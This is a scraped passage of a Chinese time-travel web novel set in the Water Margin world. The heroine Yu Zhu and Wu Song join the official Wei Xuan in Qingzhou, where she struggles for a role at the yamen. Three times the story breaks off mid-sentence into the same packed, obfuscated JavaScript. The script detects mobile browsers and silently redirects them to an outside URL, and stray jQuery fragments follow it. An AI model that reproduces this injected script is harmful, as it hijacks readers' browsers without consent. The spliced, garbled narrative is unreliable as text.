不料,一旁武松却接话道:“这等事何足挂齿?行走江湖,若连这点警觉都无,岂不是枉自为人?若无本事,便雇上两个长随护佑左右。” 武松这话不算好听,那韦暄却并未出口反驳,沉思半响,道:“这位义士说得对,我在东京时听闻山东盗贼猖獗,本以为只要不打那山林间经过,就没有大碍,所以就带了一个老仆,一路都走的官道,也安然无恙。” 韦暄叹了口气,接着道:“今日我那老仆身体不适,我便一人到着香水行洗浴,不料,竟中了那贼人的奸计。真是没想到山东已经混乱到这个地步,真不知多少黎明百姓要受害于此啊。” 郁竺沉默不语,其实对于水浒传中的诸多英雄好汉的行为,后世也褒贬不一。 且不论如何义薄云天,官逼民反,便是那上山落草前的斑斑劣迹,是确凿无疑,草菅人命之事,更是不胜枚举。 只是此情此景,她着实不便妄加评判。 韦暄见无人搭腔,默了一会儿,却猛然醒悟一般,道:“对,得去报官,不然还会有更多百姓被害。” 郁竺闻言,心中一惊,报官倒也罢了,万一被唤上公堂作证,倘若雷横一口咬定她是梁山之人,岂不是跳进黄河也洗不清了? 断不能让韦暄去报官! 于是,她几乎脱口而出:“不可!” 韦暄闻言立刻投来疑惑的目光,就连武松也忍不住瞥了郁竺一眼,见此,她连忙解释道:“此店竟能堂而皇之地开在繁华闹市,且胆敢肆无忌惮地行凶作恶,背后定有官府之人撑腰。再者,你我等三人已从那处脱身,你除了些许银两,并无他物留下,即便想要指认他们,也是证据不足啊!” 韦暄一听,倒也冷静了下来,缓缓点头道:“恩人所虑周全,确实如此。” 他略一思索,又道:“我人生地不熟,还是去了青州再做计较。倒是二位如何称呼?我疏忽至此,竟然还不知晓二位恩人从何处来?往哪里去?” 听了这话,郁竺和武松飞快交换了下眼色。 韦暄说要去青州再做计较。 不巧,二人要投奔的二龙山,就在青州地界之内。 观韦暄此人,锦衣华服、腰缠万贯,定然在青州城内也是一个人物。 只是不知,他是官是民。 谨慎起见,还是不宜告诉他二人的去向。 为此,郁竺轻轻垂下眼皮:“我叫郁竺,他是我的表兄武松,我们原是渭州人士,因战乱,家人遭贼人杀害,表兄带我逃离至此。如今身如浮萍,漂泊无依,并无确切去处。” 这个时代,同名同姓之人太多,三无身份,韦暄就是想查也查不到。 谁知韦暄闻言,竟一脸惊喜:“既然二位亦是逃难之人,何不随我一同前往青州?” 武松郁竺相视,无言。 韦暄见二人不回答,继续道:“不瞒二位,我乃新任青州通判,此番赴任,身边尚无相知之人。我看武松义士身手不凡,如义士所言,我正缺一位亲随,且郁竺姑娘如此聪慧,也可随我左右做些事。” 他说完,双眼微微眯起,脸上不自觉地挂上了些得意之色,殊不知自己一番话,像个投湖的石子,激起了郁竺心里的波澜。 穿越以来,她也让系统整理过资料,恶补了些知识。 通判,以后世的官职比照,相当于市长,仅次于一州知府。 这不是一个小官,没想到自己顺手救的人,竟是如此一条深藏不露的大鱼。 现在,大鱼还向自己抛出了橄榄枝。 如此一来,那原本计划前往的二龙山,还去是不去? 这半路遇到的贵人,靠谱吗? 武松的脸上,同样写满了难以置信。 韦暄的热情,让他回想起往昔,也曾有人因他武艺超群,对他委以“重任”,那便是张都监。 他心中下意识地想要拒绝,于是目光转向郁竺,试图从她那里得到共鸣和支持。 二人都不说话,不由有些出乎韦暄的意料,通判的亲随,这样没有吸引力?竟让两个流民权衡许久。 莫非是自己看着太过青年才俊,让人难以信服? 还是说,二人觉得自己在青州根基尚浅,恐卷入官场漩涡而无法自拔,故此不愿跟随? 韦暄觉得自己的想法不无道理,他既然诚心邀请,就要打消两个恩人心中的顾虑。 想了想,他下定决心,摆出一幅推心置腹的姿态:“我虽然年轻,却也是政和四年进士出身。且我在朝中非毫无根基,二位是我的救命恩人,我不妨如实相告,当今官家的韦婉容,便是我的亲姑母。” 然而,这番话并没有收到韦暄想要的效果。 武松其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022618|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不清楚婉容是个什么身份,在他的认知里,皇帝的女人就是妃子、贵妃、皇后,哪里懂三宫六院那么多封号的门道。 郁竺倒是知道婉容也位列九嫔之一,只不过她对这个“韦婉容”还是没有一点印象,此刻她正在让系统查询。 还没得到系统的回复,韦暄又开口了:“广平郡王殿下,正是某表兄。” 这次倒是不用系统查询了,广平郡王,郁竺前段时间恶补资料看到过他——大名鼎鼎的赵构,宋徽宗第九子,后来的康王,未来的南宋高宗皇帝。 至于韦暄说的韦婉容,如此看来,就是赵构的生母,后来的显仁皇后。 这么说,面前这位韦暄,就是未来皇帝的亲表弟了! 这一认知,瞬间将郁竺心中那本摇摆不定的天平击得粉碎。 此前在十字坡时,她给自己规划过两条“成为名将之路”,其中第二条入仕之路,因为操作起来太过困难,她一开始就放弃了。 所以,这些天以来,她心中所念、日日盘算的,都是如何啸聚山林、共赴梁山之类的事情。 直到刚刚韦暄邀请他二人同往,郁竺才意识到,自己的第二条路,也是有些微末的可能性。 只不过,她对韦暄的背景一无所知。要知道,官场波谲云诡,背景和站队的重要性,远胜于学识见识。因此,虽然心动,她却不敢贸然答应。 现在,韦暄自报家门,而预知未来的郁竺,比任何人都要清楚他这身份的分量。 “他是未来皇帝表弟,是自己在这个封建社会能接触到皇权最高处的一条捷径了。”郁竺在心里对自己说。 这个想法让她心中涌动起难以抑制的兴奋,“好”字几乎就要脱口而出,抬眼却看见武松满脸的犹豫之色。 显然,“郡王”“婉容”这等显赫名头,于武松而言如过耳秋风,他自是不识得这些权贵之人,亦不会因他们是皇亲国戚便心生敬畏。 且说武松在这混沌尘世中摸爬滚打二十余载,深知这世间位高权重之人,往往心狠手辣。 谁知这韦暄,看似光明磊落,实则是否会如那张都监一般阴狠狡诈? 郁竺瞧出武松心中所虑,原本澎湃的心潮也慢慢沉静下来,朝韦暄拱手道:“我兄妹二人,素来与官府无甚瓜葛,亦不知能否胜任此事。且容我二人商议一番,再做定夺。” 韦暄闻言,微微颔首,道:“此事不急,二位自当细细思量。” 说罢,他又补充道:“我便歇脚在这城中的官驿,二位若是有了计较,只管来寻我。” 韦暄将武松搜刮了三处才凑得的油灯端走了,道是“路上黑漆漆的,拿这照明用”,留下二人面面相觑。 光源远去,黑暗如潮水般涌来,月亮被厚重的云层遮住,四大天王的雕像在黑暗中若隐若现,仿佛真神降临,叫人心生恐惧。 郁竺瑟缩了一下,找了处墙角倚着坐下,武松下意识地跟着郁竺的动作,在她身边盘起腿。 这一晚上发生的事情太多,他思绪如同乱麻,还未来得及理清,突然想起什么似的摸了摸脸上的金印,这才真切意识到,这印子是确确实实消了。 往后走在街上,岂不是再没人知晓自己是个戴罪之人了? 他又想起刚才韦暄的邀请,转头看了一眼坐在身旁的郁竺,开口道:“妹子,这事你怎么看?” 12. 第 12 章 郁竺怎么看? 她自然是想和韦暄去青州的。 这两天一直在谋划着上二龙山,乃至以后上梁山,她不得不让系统把《水浒传》原著调出来,翻来覆去研究。 虽说梁山女性地位不高,整个女性角色都是镶边,已经是人尽皆知的事实了。但是当看到扈三娘立下赫赫战功,又是宋江义妹,排名仍然只能屈居第五十九位时,郁竺还是忍不住为之愤慨。 原因无他,她的丈夫王矮虎猥琐丑陋,只排在五十八位,扈三娘作为女人不能越过自己的丈夫去。 这样的梁山,自己要挣得一席地位,想必是十分艰难。 而今,韦暄已抛出橄榄枝,这是一条相对确定的道路。 相比之下,上梁山则需自己费尽心力去争取。 如此,她自然不会舍近求远。 但是她没有直接回答武松的问题,她知道武松现在是摇摆不定的。 他虽饱受残害,此时对于官府却没有厌恶到底,最直接的例子就是,如果没有郁竺横插一脚,武松会在白虎山孔家庄遇到宋江,二人同行了一段路程,武松和宋江说“天可怜见,异日不死,受了招安,那时却来寻访哥哥未迟。①” 可见武松在这个阶段还是想着招安的。 至于后来谈招安色变,郁竺猜想,可能与二龙山遇到鲁智深有关。 只是,他与宋江亦有情分在,宋江这会儿恐怕已经往清风山方向去了。 选择跟着韦暄走,日后在一段时间内,武松和自己的那位“及时雨好哥哥”,恐怕就要面临官贼势不两立局面。 到了那时,武松会为自己现在的选择后悔吗? 事关重大,郁竺虽想要武松与自己同往,却不想让武松在自己的影响下作出选择。 于是她反问道:“兄长愿意随那韦暄去吗?” 武松没想到郁竺又将问题像蹴鞠般踢了回来,闻言一愣:是啊,自己愿意去吗? 从小和哥哥备受欺凌,而邻家大郎在知县老爷麾下充任“甲头”,催收钱税时威风八面。那时候他便无比渴望有朝一日也能像他那样,便不会有人再欺负哥俩。 及至因打虎受到阳谷县知县赏识,再到后来哪怕落了罪,施老管营亦对自己礼遇有加,他就觉得自己果真是个人物,因此虽然有些坎坷,却也一直壮志满怀,想好好混出个样子。 所以张都监找到他时,他才毫无戒备,一头钻进了他的陷阱。 如今,又有这等机缘摆在的自己的面前,还应该相信吗? 武松看了眼郁竺,黑暗中她目光灼灼,像是夜里的两点星火。 他能看出她眼神中的跃跃欲试。 自己这位妹子,说来也是身世凄惨,本该是大户之女,却流落在外,所遇也非良人。可武松和她相处这些天,却发现她却好像从未自艾自怜,总是心有主见的样子。 她且能放下过往,一心向前,自己又为何不能呢? 武松摸了摸脸上的金印,已然了无痕迹。 这难道就是上天给他重来一次的机会吗? 也罢,那就再信一回,为自己谋个出路,总好过落草为寇,想必兄长在天之灵,也能得以安息。 郁竺敏锐地察觉到武松的神情有了微妙的变化,显露出了一丝动摇,果然,他开口道:“我与妹子所想不谋而合。” “兄长竟知我所想?”郁竺笑出声来。 黑暗下,武松直视着郁竺,笃定道:“以妹子的个性,若是不想,定会当场回绝,更不会前来征询我的意见。故而,我料定妹子心中定是愿往。” 郁竺的笑意更深,果然这些日子,不光是自己在试探揣摩武松的脾性,武松亦是在暗暗观察自己。 她也不否认,点了点头道:“我观那韦暄言行,虽略显理想高蹈,但确实心系百姓,不是作恶多端之辈。” “如此,那便去官驿寻他!” 打定主意后,二人便将散落在地的行囊重新系到驴子身上。 郁竺找出张青写予自己的那封介绍二人上二龙山的书信,翻看了几遍,终是将纸在佛龛处化成了灰烬。 既已下定决心,便不能摇摆不定。郁竺斩断了二人的退路,也彻底向那未曾涉足的江湖世界说了再见。 打理好一切,二人直奔城北官驿处去。 此时已是夜深露重,街巷间灯火阑珊,偶有几声夜鸟啼鸣。 幸亏宋朝没有宵禁,二人走了小半个时辰,方才找到那官驿。 那是一座两层三间的小楼,灯火通明,底层正中的厅内,一位须发花白的老人端坐在桌案之后,见二人到来,他起身作揖道:“老奴奉大人之命,在此恭候二位多时了。” 郁竺见他虽是年事已高,眼神却透出精光,气度更是从容不迫,便知道他绝不是什么普通“老奴”,便也客气道:“叫老大人久等了,我等来得唐突,还望见谅。” 那老人摆摆手,开口道:“我姓吴,单名一个胜,是韦大人在东京府邸中的家仆。此番随大人北上,专为照料大人的日常琐事。大人白天受惊,多亏二位出手相助,现夜已深,大人歇下了,特命我预备了两间客房,以便二位歇息,请随我来。” 武松闻言,唱了个无礼喏,便将行李卸下,有守夜的驿卒帮忙搬到二楼。 二人跟着吴胜走过数间上房,最后停在了拐角处两间最小的房间面前。 官驿,乃专为官员休憩之所,郁竺与武松此番能得以栖身于此,全是占了韦暄的光,因此对房间并无半分挑剔,谢过吴胜后,二人便各自歇息去了。 一夜好眠,自是无话。 五更的梆声,深沉悠长,像是一声叹息,悠悠地响过。窗外,夜色尚未完全褪去,但天边已泛起了一抹淡淡的白。 郁竺不敢有丝毫耽搁,将自己从睡意中挣脱出来。做了十几年社畜的她此刻“奴性”复萌——到新单位的第一天,绝对不能迟到,更不能让领导等自己。 她本以为自己已经起得够早,下楼时却发现武松和吴胜均已经坐下吃饭了。 见郁竺下来,吴胜笑眯眯对她道:“未经允许,我已擅自将二位的毛驴换了两匹马。大人去青州,路上耽搁不得,二位休要怪罪,还是随我们一道骑马吧。” 从昨天接待完二人,到现在才不过五个时辰,吴胜就干了这样一件大事,郁竺一边在心里惊叹他的时间管理之术,一边感慨有钱好办事。 要知道,这年头马可不好买——自古适合养马的燕云十六州在辽国人的势力范围内,整个大宋,即便是战马都捉襟见肘,更何况民间。 吴胜这一下子弄到两匹马,不知道要贴进去多少金银。 只是他的话虽说客气,但却不乏下马威的意思——马匹稀缺,骑马可不是哪个平头百姓都会的,要是郁竺不会呢? 不好意思,人家已经说了“大人路上耽搁不得”,马换给你了,不会就自己想办法去吧。 武松对其间的关窍也有所察觉,不由有些担心地看了郁竺一眼,却见郁竺神色如常道:“如此,多谢吴老,您破费了。” 妹子会骑马啊,那就好。 武松心里舒了一口气。 正说话间,韦暄自楼上踱步而下,经过一夜休整,他已然恢复了精神,神采奕奕,不见昨日萎靡之态。 此刻见武松和郁竺二人都在,韦暄大笑道:“我就知二位定不会弃我而去!” 武松既已决定追随韦暄,便也不再拿捏姿态,起身拱手道:“大人英明神武,我等昨日商议过后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022619|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感念大人心怀天下苍生,故我等愿随大人左右,共谋天下福祉,造福江山社稷。” 别看武松平日里豪放不羁,但真要说起场面话来,也是头头是道。韦暄听后,更是开怀大笑,连声称赞:“好!好!” 笑罢,他在那最上首的位置径自落了座,正色道:“如今,我去青州赴任,你们便是我身边最得力可靠的人。想必你们对于青州慕容知府也有所耳闻,此人倚仗皇亲国戚之势,行事专横跋扈,目中无人,且怠于政事。故此番赴任青州,绝非易事,你等需得齐心协力,共同辅佐我为官一任,造福一方百姓。” 韦暄在上首高谈阔论,要三人精诚团结,却不知一早几人间已有暗流涌动。 那吴胜听后,脸上堆了笑意:“大人所言极是,我等自当如是。” 武松郁竺一见,哪有不称是的道理,也便学得吴胜那样。 韦暄见“动员”工作已经到位,自是十分满意。 待他用完早饭,一行四人便要上路往青州赶去了。 只见驿卒牵来四匹高头大马,武松毫不费劲,轻轻一跃,便已稳稳落在马背上。 韦暄和吴胜虽不如武松那般动作潇洒,到底也是娴熟地上了马。 郁竺见三人都在看着自己,咬咬牙,在脑子里回忆着动作,深吸一口气后,提起缰绳,脚尖一蹬,顺利翻了上去。 “郁竺姑娘骑术竟如此精进!这动作飘逸洒脱,可是行家里手啊。”韦暄在一旁喝彩道。 “大人谬赞了。原先学过皮毛,不算精进,许久没有策马,已是很生疏了。”郁竺打了个哈哈,心里却在苦笑。 多亏自己工作之余,还上过几节马术体验课,练了下上马下马的花架子。只是自己从未骑过马长途奔袭,骑术更谈不上,方才之所以不说,只是为了和吴胜较劲,嘴硬罢了。 这下好了,从济州到青州还有好几天,自己可有的受了。 吴胜自然不知道实情,有些暗暗吃惊,看来这女子确实干练洒脱,倒是叫他改观了几分。 如此行了不过三天,就到了青州城门下。 韦暄猜的没错,青州果然无人迎接。 想来那青州慕容知府本是官家慕容贵妃的兄长,同样是外戚,韦暄的姑母只是官家的婉容,且他的官位又高出韦暄半级,自然不会将他放在眼里。 韦暄没有出言抱怨,一路询问,找到了州府公衙。 那公衙修得气派,八字墙如图展开的双翼,将大门拥在正中,匾额上书“青州府衙”四个大字。 门房见四个生人,探出头来颇为好奇地上下打量,吴胜面露不悦之色,将韦暄告身和吏部委任书递给门房查验,那门房方才大惊,一溜烟跑进公堂后身通禀报。 不一会儿,密密的脚步声传来,随后,四五个身着绿色公服的官员急急忙忙赶到门前。 为首那人站定后,先是在几人面上匆匆扫了一圈,眼中惶恐的神色不似作假,然后定了定神,堆出满脸笑意对韦暄道:“下官乃青州判官段晃,不知韦通判今日便到青州,未曾远迎,请通判大人见谅。” 郁竺心中顿时明了,最首的这位是判官,也就是这些人中没有知府慕容彦达。 她还当这青州上下都在慕容知府的授意下,刻意冷待韦暄,原来这些人是当真不知韦暄今日要来。 “无妨,段判官,有劳你领我们进去吧。”韦暄面不改色。 随即,一群身着公服的衙役便快步上前,恭敬地接过几人手中的行李,引着他们向衙门内走去。 郁竺正准备跟着武松一同进门,却突然听到一个声音响起。 只见其中一个面容端方、身形高大的官员将目光定格在郁竺身上,道:“那婢子,你且跟随那处公人到偏房去。” 13. 第 13 章 郁竺起先还没意识到那人说的是自己,直到周围的目光都向这边投来,才恍然有所觉悟。 说来,自遇到韦暄之后,自己便没有刻意再扮成男子,也是韦暄有意叮嘱过,女子便是女子,坦坦荡荡就好,若是刻意装扮,反倒让人多想。 为此,这几日她便穿着最普通的袄裙,也并未觉得有什么不妥。 直到这会儿被人叫住,她才后知后觉:自己看着,这么像婢女么? 倒不是她歧视劳动人民什么的,只是那官员语气里透露出的轻视感,确实让她有些不适。 不过郁竺当了十几年律师,早已将厚脸皮练得炉火纯青,她假装懵懂地看向那出声的官员,又向韦暄投去疑问的目光。 旁人说我是婢子,你怎么看? 先前韦暄只说过武松武艺高强,可做个贴身的亲随,对于郁竺的安排,却有些含糊其辞,说她通文墨,可随自己“做些事”。 这些“事”是指哪些“事”? 韦暄突然有些头疼,这个问题他确实还未仔细想过,总觉得女子么,又不能挣得功名,就算颇有才学,随意安排一个差事也好打发,不需对她的前程有什么交代。 直到这会儿才发现,毕竟是自己救命恩人,让人家当婢子有些不合适,却又一时没想到合适的安排,便摸了摸鼻子道:“这位郁姑娘是我带来的‘私名’,也和我们一同进公衙无妨。” 所谓“私名”,就是编外的小吏,由官员自己花钱聘请,专为这官员做事。 韦暄这一解释,几名官员脸上都露出了讳莫如深的表情,便不再过问。 * 随着前头那位段判官的指引,绕过一处照壁,这才真正进了青州州府衙署。 率先印入眼帘的就是大堂,大堂又叫讼堂,是审理案件的场所。那大堂约有三楹进深,正中摆着一个公案,两侧摆放着青旗、蓝伞、青扇等仪仗。 郁竺还是第一次见到这在法制史课本里出现过的讼堂,不由得有些好奇,多打量了几眼。殊不知这神色落在先前那方脸官员眼中,自是没见识的表现,他不由撇了撇嘴角。 穿过大堂,就是秘密审案的二堂和三堂,此时未有案件审理,这两处大门紧闭,一行人便从西侧的走廊绕行至后面的内衙。 内衙,通俗来讲,相当于现在的“机关家属大院”。 大宋的地方官员到地方任职,州县官府通常都为他们提供住房,住房就在公衙内,故此整个区域又称“廨舍”,“廨”就是方才走过的工作区,“舍”就是内衙,即后面的生活区。① 所以此时的官宦公子,也被称为“衙内”。 按规定,青州所有官员都要住在内衙。 但是规则是用来破坏的,一把手慕容知府就嫌弃内衙简陋,另建宅院,其他官员自然也上行下效。故此,本该热闹拥挤的内衙,只有寥寥几个公吏在此居住,显得格外冷清。 韦暄到来后,那些公吏立即将上房打扫得一尘不染,迎接上官入住。 其余三人,各自也都分到了一间小屋,就位于韦暄居住的上房西侧。 院内绿树成荫,角落里矗着一座小巧的假山,流水潺潺,虽无太多繁复的装饰,却别具生趣。 郁竺对此安排十分满意,大家住在一个大院里,既能相互照应,又有各自的空间,办事方便,安全感十足。 * 将韦暄一行人妥善安置妥当后,段判官等人识趣地告辞,并告知韦暄,拜见慕容知府之后,晚间还有一场为他准备的接风洗尘宴,务必出席。 见三人忙前忙后,韦暄略作思索,将郁竺与武松唤至跟前。 “吴老是我随身家仆,来此地前,我已向吏部讨得文书,让他担任我的散从官。至于你二人,暂且先以随从的身份伴我左右,待日后自有机会设法编入吏额。”韦暄盯着不远处的地面,没有直视二人,手指下意识地抠着腰间的带钩。 郁竺觉得他的神色有些奇怪,怔了一下才反应过来,原来韦暄是在向二人说明身份安排的事情。 她对北宋基层的官僚体系尚不熟悉,一时有些懵懂,倒是武松一下子就明白过来,拉着郁竺连忙道谢:“多谢大人周全!” 待韦暄走后,武松这才解释道:“州县吏额自有定数,此时恐怕不便安排。但凭韦通判之职,为咱们谋一两个吏额并非难事,且先安心做事,等待时机。” 原来是编制满了,自己和武松得先当临时工,怪不得刚才韦暄表情不自在呢。 郁竺心中盘算了一番,对于这个安排,她倒也能接受——只要能让她接触政务,而非做些洒扫之类的杂役就行。 * 自古新官上任,征收钱税、处理积案、官场应酬三件事最为要紧。 前两项尚可以委以他人,第三件却需得亲力亲为,推脱不得。 及至傍晚,韦暄就带着武松赴宴“张乐”去了。 所谓张乐,以铺张为乐,公款吃喝是也。② 韦暄去“大张乐”,吴胜就带着郁竺在衙前街一处酒楼“小张乐”,毕竟衙内也无地方开伙。 只见吴胜报上姓名,那掌柜的登记下来,也未收银两,便让二人落座上菜。 吴胜轻车熟路的样子,显然不是第一次干这种事情。 等菜间隙,郁竺给吴胜斟上茶水,吴胜观察了她一会儿,才道:“郁姑娘可读过什么书?” “四书五经读过些许,律令较为熟悉。” “哦?可懂诗文?” “不太懂。”郁竺老实回答。 她小镇做题家出身,文学素养本就一般,若是硬要作诗,还得让系统挑些这个时代之后的诗词给她作弊,这种掉节操的事情,她暂时还干不来。 吴胜点点头:“如此,郁姑娘就跟着我做些誊写文书之类的事情吧,想必能够胜任?” 郁竺没有立即回答。下午韦暄让自己跟着他左右做事,那按照现代职场的潜规则,郁竺自然就是直接受韦暄领导的。 吴胜这一句话,就将郁竺的定位又往下拉了一级,从韦暄的助手,变成他这个州通判散从官的助手了。 郁竺不知自己揣测的是否正确,想了想,还是模棱两可地回道:“都是给韦大人做事,替吴老誊写文书也本是我分内之事,何足挂齿。” 吴胜也是个老人精,何尝听不出郁竺话里不甘屈居他下的意思,呵呵一笑,不再强求。 * 第二日,韦暄宿醉,睡到日上三竿未醒。 武松前夜里陪同韦暄应酬辛苦,自然也不得早起。 郁竺准时来到二堂西侧的签押房。诸多公文便从这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022620|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间小屋里拟稿发出,这里可以算是整个衙门的中枢。 只不过,不见官员在此办理公务,只有一名姓刘的押司和吴胜正在交谈。 “课利场务十分亏欠近五厘,怕是不好啊……”吴胜皱着眉头,忧心忡忡。 刘押司小声道:“这还是总计的九月至今的大数,要是计全年的,怕是亏欠二分以上了。” 郁竺一听他们在讨论税收的问题,便想上前一探究竟,看看有没有自己一个现代人可以出谋划策的地方。 那刘押司似才发现郁竺般,抬手指向桌案:“郁姑娘,且劳烦你去换壶热水,这壶里的水都凉了,大冬天的,喝不得了。” 这话说得客气,郁竺只得拎起铜壶奔向茶房。 吴胜专心看着手上的文书,眼皮都没抬一下。 等郁竺换完热水过来时,二人讨论早已告一段落,刘押司伏案疾书,头都不抬,吴胜也紧缩眉头、沉思入定的样子。 郁竺轻手轻脚放下水壶,环顾四周,发现另一处高案上散落着一些卷宗,便想拿起来看看。 谁知手指刚碰到那卷宗,吴胜便如梦初醒,高声道:“务必小心!这案卷可是要呈给刑部和大理寺的,千万不能弄到一点污渍。” 郁竺被他吓了一跳,还是点点头。 刚打开案卷,那刘押司将手中毛笔一掷,长舒一口气,又使唤郁竺道:“郁姑娘,劳烦你到后头仓库,帮我取个信袋,再拿一支鱼鳔胶来。” …… 时间就这样过去了,郁竺在忙忙碌碌的跑腿中,结束了自己在宋朝上班的第一天。 本以为用新人打杂,是古今职场的通病,郁竺虽然嫌烦,却也没有心生怨怼。 可接下来几天,郁竺每天都在忙于端茶送水之类的小事,诸如此类差遣来者不断。 她本想抽出空闲,将积累的案卷看一看,找找有没有发挥自己的专业特长的机会。 可是根本就没有这个时间。 天天如此,郁竺很怀疑大家都在针对她。 可是,吴胜依旧每日忙忙碌碌,刘押司常常伏案疾书,整个公衙之中,百十余名公吏个个行色匆匆,各司其职,似乎谁都没有闲暇去料理那些琐碎之事,更不用说去刻意针对她这个初来乍到的小小“私名”了。 为此,郁竺烦闷不已,找不到敌人,又仿佛全世界都是敌人。 她有一种深切的被职场霸凌的感觉。 * 第四日,夜幕低垂,郁竺没有继续和吴胜外出“张乐”,而是在衙前街一个小贩那处买了两个热气腾腾的炊饼,然后就将自己关在屋里。 灯烛昏黄,将郁竺的身影在斑驳的墙壁上拉出一道长长的的黑影。 现状令她心生焦虑,将时间消磨在琐事当中,她感觉自己像被绑住翅膀的鸟儿,根本找不到机会去一展身手,更不要说完成系统任务。 “笃笃” 外头传来轻轻的敲门声,打破了室内的沉寂。 郁竺起身前去开门,映入眼帘的竟是多日未见的武松。 这些天,他跟着韦暄日日在外头应酬,早出晚归,二人不曾见过几面。 此刻细细打量,武松目光灼灼,剑眉星目间洋溢着难以掩饰的兴奋之色。 “妹子,我有件喜事儿要告诉你。” 14. 第 14 章 武松大步流星跨入屋内,随手将门半掩,自己寻了个位置落座,抄起一碗水来,咕嘟咕嘟饮下,这才道出那桩“喜讯”。 “今日宴席之上,大人将我引荐与本州兵马黄都监相识。那黄都监也是个爱武之人,我便施展了一套枪棒功夫,请他指教。” “谁知黄都监见了,连声称妙,当即拍板,将手下教练使一职交由我担当。” 武松说着,眉梢压制不住的喜色,他肤色稍深,只见眼角和颧骨处的皮肤透出了点不易察觉的红。 来了衙署这些时日,郁竺对于官府职务也有了些了解。 整个青州,除知府、通判外,还设有诸曹官和幕职官,如各种参军、判官、推官、都监等,总计十人。 这十人,是吏部任命的,正儿八经的大宋官员。 此外,还有“吏额”八十人,这八十人也算是有编制“基层公务员”,刘押司和吴胜就在此之列。 虽有编制,吏却很难成为官。 除此以外,还有各个官员自己聘任的“私名”,这个群体数量庞大,约二三百人,武松和郁竺原本都属于“私名”。 如今,武松说黄都监给了他教练使的职务,那么就是正式解决“编制”问题了,难怪他如此高兴。 郁竺也由衷为他开心:“兄长此番真是可喜可贺!” 随即又想起什么,问道:“如此说来,兄长便要投身黄都监麾下效力了?” 青州的黄都监,那不是镇三山黄信么?武松跟着他,难不成要去打花荣和宋江了?郁竺猛然想起这处关键。 “非也。”武松摇了摇头,“黄都监本也是卖大人一个好处,又怎么会真要我去做事,我只是在他那处挂个虚名,实际上还跟着通判大人。” 郁竺听后,一颗悬着的心这才放下。 武松看了看郁竺,沉吟片刻,郑重言道:“妹子休要心焦,我定尽心竭力,争取闯出一番名堂。如此,即便大人一时未曾为妹子安排,兄长也能让妹子安安稳稳享福。” 郁竺笑了笑,武松是真的关心自己,自身的事情有了结果,却还惦记着日前韦暄对她许下的承诺呢。 他的好意郁竺心领了,可她要过的不是“安稳日子”。 作为男子,天生就比女子拥有更多的机会,武松在应酬场上略微一展拳脚,就能谋得一个职位,如此机会,是郁竺很难拥有的。 但郁竺从来不是一个坐以待毙的人,既然没有机会,那她就要给自己创造机会。 送走武松之后,郁竺将房间的灯烛吹灭,独自站在窗前,将那窗牖推开一个小缝,夜风吹进,带来丝丝寒意。 终于,当窗外最后一缕灯光消灭在视线中,郁竺披着衣服,穿过黑夜,独自来到签押房。 既然白天没有工夫,那就用夜晚的时间补上吧。 * 点起昏黄的油灯,找出近几年的积案卷宗,郁竺一卷一卷仔细翻看起来。 这些案件种类纷杂,人命官司、经济纠纷、土地争夺……林林总总,不一而足。 此时刑事科学技术水平有限,审案还是以口供为主,刑讯逼供也被法律认可。 因此郁竺翻看下来,很多案件中,只要被告熬得过一阵打拒不招认,便难以定谳。 且地方官府司法和行政一把抓,也无精力仔细探查每个案情,导致案卷堆积如山。 郁竺将这几年堆积的千起案件,按照后世的标准大概分成了民事和刑事两个部分,并且将两个部分的案卷分别编号。 然后,她又自己裁了两本小册子,封面上分别写了大大的“刑”“民”二字,用来记载自己翻看案卷的随笔。 每个案件,先用黑笔简要概括出简要案情、症结,再用红笔在下方提出自己的见解、下一步的断案意见。 如此下来,一个夜里也能过眼数十起积案。 到了早上,再将案卷物归原位。如此几日,竟连吴胜都未发现有什么异样。 只是郁竺眼下的乌青越发深重。 衙里的公人这些日子和郁竺也渐渐熟络起来,见郁竺精神不济的样子,便调笑道:“郁姑娘夜间这是何往?莫非夜间还要侍奉大人笔墨?” 说完,另外几个公人也挤眉弄眼笑作一团。 郁竺是这衙署里,除了洒扫婆子外唯一的女性,且年轻,一干人就以打趣郁竺为乐。 她也不辩解,笑着道:“你如此挂念我家大人,莫非欲弃你家大人而去?” 那公人本是知府慕容彦达的人,两位上官关系微妙,郁竺这话似在给他挖坑,他碰了个软钉子,便冷哼一声,不再言语。 * 韦暄自到青州连日应酬不断,整个人仿佛已经置身迷醉之中,成日混混沌沌的。 在东京,他担任着殿中侍御史,虽仅为七品之职,却手握纠察百官之权,又是天子近臣,自然前途无量。 一纸调令,他被被派往这青州任通判,虽是升任六品,但是远离权力中心,实乃明升暗贬。 